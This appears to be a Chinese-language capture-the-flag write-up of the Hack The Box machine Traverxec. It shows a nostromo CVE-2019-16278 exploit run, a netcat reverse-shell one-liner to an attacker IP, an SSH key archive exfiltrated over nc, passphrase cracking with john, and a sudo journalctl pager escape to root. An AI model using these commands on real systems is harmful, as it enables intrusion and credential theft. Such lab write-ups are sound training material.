HTB 学习笔记
【Hack The Box】linux练习-- Traverxec
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月21日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 80
- shell挖掘
- 传输
- 解密密钥
- 提权
信息收集
nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.165
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80
David White.
网站标头如下
HTTP/1.1 200 OK
Date: Fri, 22 Nov 2019 12:13:28 GMT
Server: nostromo 1.9.6
Connection: close
Last-Modified: Fri, 25 Oct 2019 21:11:09 GMT
Content-Length: 15674
Content-Type: text/html
发现了潜在的漏洞,其中有rb的,也就是msf的,挺讨厌的其实,还得改写
但是先利用一下第二个的py
python2 cve2019_16278.py 10.129.17.195 80 id
python2 cve2019_16278.py 10.129.17.195 80 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 443 >/tmp/f"
发现了david的密码
但是没解密出来
先放一边先,可能就不是让我解密的
shell挖掘
我们挖掘的方向是webshell就挖/var以及下面的所有子目录 都是按以周边为最先顺序开始挖掘的
发现了如下的一个配置文件
www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf
cat nhttpd.conf
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
这个没看懂是什么意思
http://www.nazgul.ch/dev/nostromo_man.html
去官网看一下使用手册
差不多看懂了
homedirs /home
homedirs_public public_www
所以http://10.10.10.165/~david/是home页面,admin页面这样子
并且他在/home/david/public_www目录中
我们在shell中进入/home/david/public_www
发现了一个压缩包
传输
cat backup-ssh-identity-files.tgz | nc 10.10.14.29 443
nc -lnvp 443 > backup-identity-files.tgz.b64
解压
tar -zxvf backup-identity-files.tgz.b64
发现有很多密钥,但是打开发现是存在加密的
解密密钥
/usr/share/john/ssh2john.py id_rsa > id_rsa.john
john id_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt
得到密码
hunter
而后正常登陆输入密码就行
提权
内核提权还是用不了
那就老老实实的吧
出现 bin非常反常
有一个脚本,能够显示一些日志
Last 5 journal log lines:
-- Logs begin at Fri 2019-11-22 00:00:54 EST, end at Fri 2019-11-22 14:46:14 EST. --
Nov 22 11:45:02 traverxec sudo[1931]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Nov 22 11:45:02 traverxec sudo[1931]: www-data : command not allowed ; TTY=pts/1 ; PWD=/dev/shm ; USER=root ; COMMAND=list
Nov 22 11:45:03 traverxec crontab[2016]: (www-data) LIST (www-data)
Nov 22 13:06:56 traverxec nhttpd[2384]: /~david/../../../bin/sh sent a bad cgi header
Nov 22 13:07:14 traverxec nhttpd[2386]: /~david/../../../bin/sh sent a bad cgi header
而如果我查看脚本
#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
他会用sudo执行journalctl 和cat
journalctl调用默认分页器
用journalctl提权很简单,关键是要让journalctl可以执行命令
sudo journalctl !/bin/sh
这里的诀窍是 journalctrl如果它适合当前页面尺寸,将输出到标准输出,并进入 less因为我正在运行 -n5(由脚本内容得出),所以我需要一摸一样执行脚本最后一行,然后我才是一个具有sudo的journalctrl,然后我会被发送到 less,然后提权
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
!/bin/sh